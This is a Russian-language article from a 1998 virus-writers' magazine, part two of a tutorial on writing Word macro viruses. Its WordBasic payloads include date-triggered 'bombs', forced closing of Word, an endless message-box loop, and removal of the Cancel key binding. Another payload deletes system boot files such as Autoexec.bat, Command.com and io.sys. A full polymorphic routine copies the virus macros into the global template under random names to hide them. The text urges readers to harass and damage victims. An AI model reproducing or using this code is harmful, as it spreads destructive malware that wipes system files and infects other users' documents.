▄▄ █ ▀▀▀ Virus Magazine █ Box 176, Kiev 210, Ukraine IV 1998 ▀██ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ █ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀▀▀▐▀▀▀ █▀▀▀▀▀▀▀█ ▐█ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▄█▄ ▄▀▀ █▀█ ▌ █ ▄▀█ █ ▄▀▀ █▄▄ █ █ ▀▀█ █ █ █ █ █▀ █▀ █ █ █▀ █ █ █ █ █ █ █ █ █ █ █ ▄▄█ █ █ ▐ ▐ ▐ ▐▄▄ ▐▄▄ ▐ ▐▄▄ ▐▄▀ ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄▄ █ █ █▄▄ █ ▐ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ █▄▄▄▄▄▄▄█ (C) Copyright, 1994-98, by STEALTH group WorldWide, unLtd. *************************** * Руководство по * * написанию макро-вирусов * * Часть 2 * *************************** * * * Автор - Dark Night * * VBB * * * *************************** Ответственность ~~~~~~~~~~~~~~~ Автор не несет ответственности за любой ущерб, нанесенный вследствии прямого или косвенного использования опубликованного материала. Авторские права на данную статью принадлежат Dark Night, VBB, 1997. В то же время автор разрешает любому распространять данный материал при условии сохранения общей структуры статьи и не удаления копирайта. Однако, в случае, если автор обнаружит, что нашлись ламеры, которые выдают опубликованный здесь код за свою авторскую разработку, то они будут сурово наказаны. Введение ~~~~~~~~ Да, вот пришло время и перед вами вторая часть руководства. Я получил так много позитивных откликов, что решил продолжить свой рассказ. В этот раз мы поговорим о вирусных пакостях. Пакость? Я пас. ~~~~~~~~~~~~~~~ Чего же вы тогда это читаете? Пакость - это бомба, она вредит помимо заражения Что возможно? ~~~~~~~~~~~~~ Ну, вы можете сделать много чего ... Вы можете форматить "винты", закрывать Word, запускать другие программы (Dos-вирусы), и т.д. Но вы конечно же не хотите, чтобы вирус выполнял это при каждом своем запуске, а ? Так что вам необходима процедура проверки. If Month(Now()) = 1 And Day(Now()) = 3 Then 'просто, не так ли? ЗДЕСЬ БОМБА ELSE 'что нибудь еще End IF Простейший метод досадить пользователю - это довольно часто посылать следующую последовательность: SendKeys "%"+"{F4}" Данная последовательсноть дает эффект комбинации клавиш Alt+F4... Однако проблема в том, что Word все равно выдает приглашение для сохранения документа. Еще один из досаждающих трюков : Again: MsgBox"HAHAHAHAHA!" Goto Again Гадко, не так ли ? Представьте, что кто-то работает, и вдруг однажды на экран выводится данное сообщение. После этого он будет видеть его гораздо чаще :) Средства пакостника ~~~~~~~~~~~~~~~~~~~ Да, вы можете хорошо повеселиться, применяя вышеописанные трюки, однако, что делать, если вы хотите кого-то ну очень серъезно достать ? Да, вы правы ! Есть еще более пакостные средства :) ToolsCustomizeKeyboard .KeyCode = 27, .Category = 1, .Name = "Cancel", .Remove, .Context = 0 'вышеописанный макрос удобен для функции общего закрытия :) (для тех, кто на бронепоезде - данный макрос удаляет кнопку "Cancel"!) Kill"C:\Autoexec.bat" Kill"C:\Config.sys" Kill"C:\Command.com" Kill"C:\io.sys" Kill"C:\msdos.sys" Finish: Это ли не пакость :) Следущая предоставлена The Nightmare Joker. Радуйтесь ... ToolsCustomizeKeyboard .KeyCode = 27, .Category = 1, .Name = "Cancel", .Remove, .Context = 0 SendKeys "^" + "%" + "-" Закройте все документы и зайдите в меню File....Как чувствет себя курсор ? Полиморфики?? ~~~~~~~~~~~~~ Да, это возможно....Ниже представлен полиморфный генератор, который использует случайные имена для своих макросов с целью скрытия их присутствия. Автором данного кода является The Nightmare Joker Sub MAIN On Error Goto Done A$ = FileName$() If A$ = "" Then Goto Finish If VInstalled = 0 Then Run1 Run2 FileSaveAll 1, 1 Else Goto Done End If Done: A$ = FileName$() If A$ = "" Then Goto Finish Else Insert " " End If Finish: MsgBox "polymorph", - 8 End Sub Sub Run1 X$ = Fun$(F$, G$, H$, J$) Y$ = Fun$(F$, G$, H$, J$) Z$ = X$ + Y$ R1$ = GetDocumentVar$("VirNameDoc") CO$ = FileName$() + ":" + R1$ MacroCopy CO$, "Global:" + Z$ SetProfileString "Intl", "Info2", Z$ ToolsCustomizeKeyboard .KeyCode = 65, .Category = 2, .Name = Z$, .Add, .Context = 0 End Sub Sub Run2 X$ = Fun$(F$, G$, H$, J$) Y$ = Fun$(F$, G$, H$, J$) Z$ = X$ + Y$ R2$ = GetDocumentVar$("VirName") OC$ = FileName$() + ":" + R2$ MacroCopy OC$, "Global:" + Z$ SetProfileString "Intl", "Info1", Z$ ToolsCustomizeKeyboard .KeyCode = 32, .Category = 2, .Name = Z$, .Add, .Context = 0 End Sub Function VInstalled CC$ = GetProfileString$("Intl", "Info1") VInstalled = 0 If CountMacros(0) > 0 Then For i = 1 To CountMacros(0) If MacroName$(i, 0) = CC$ Then VInstalled = 1 End If Next i End If End Function Function Fun$(F$, G$, H$, J$) One = 1169 Two = 9294 Num = Int(Rnd() * (Two - One) + One) A$ = Str$(Num) A$ = LTrim$(A$) B$ = Mid$(A$, 1, 1) C$ = Mid$(A$, 2, 1) D$ = Mid$(A$, 3, 1) E$ = Mid$(A$, 4, 1) If B$ = "1" Then F$ = "A" If B$ = "2" Then F$ = "B" If B$ = "3" Then F$ = "C" If B$ = "4" Then F$ = "D" If B$ = "5" Then F$ = "E" If B$ = "6" Then F$ = "F" If B$ = "7" Then F$ = "G" If B$ = "8" Then F$ = "H" If B$ = "9" Then F$ = "I" If B$ = "0" Then F$ = "J" If C$ = "1" Then G$ = "H" If C$ = "2" Then G$ = "I" If C$ = "3" Then G$ = "J" If C$ = "4" Then G$ = "K" If C$ = "5" Then G$ = "L" If C$ = "6" Then G$ = "M" If C$ = "7" Then G$ = "N" If C$ = "8" Then G$ = "O" If C$ = "9" Then G$ = "P" If C$ = "0" Then G$ = "Q" If D$ = "1" Then H$ = "A" If D$ = "2" Then H$ = "B" If D$ = "3" Then H$ = "C" If D$ = "4" Then H$ = "D" If D$ = "5" Then H$ = "E" If D$ = "6" Then H$ = "F" If D$ = "7" Then H$ = "G" If D$ = "8" Then H$ = "H" If D$ = "9" Then H$ = "I" If D$ = "0" Then H$ = "J" If E$ = "1" Then J$ = "R" If E$ = "2" Then J$ = "S" If E$ = "3" Then J$ = "T" If E$ = "4" Then J$ = "U" If E$ = "5" Then J$ = "V" If E$ = "6" Then J$ = "W" If E$ = "7" Then J$ = "X" If E$ = "8" Then J$ = "Y" If E$ = "9" Then J$ = "Z" If E$ = "0" Then J$ = "Q" Fun$ = F$ + G$ + H$ + J$ End Function На этом я заканчиваю свои повествования, предоставляя вам самим разбираться в вышеприведенной программе, так как если вы не понимаете, о чем здесь идет речь, то вам лучше сначала разобраться с WordBasic. Контакты ~~~~~~~~ Я не знаю, будут ли выпущены последующие части, но я уверен, что если появится что-то новенькое, то я с радостью продолжу свой рассказ. Как обычно, вы можете задать мне любые вопросы, написав по адресу Dark_Knight@ilf.net. Также по этому адресу принимаются темы для последующих частей. Перевод by HellRaiser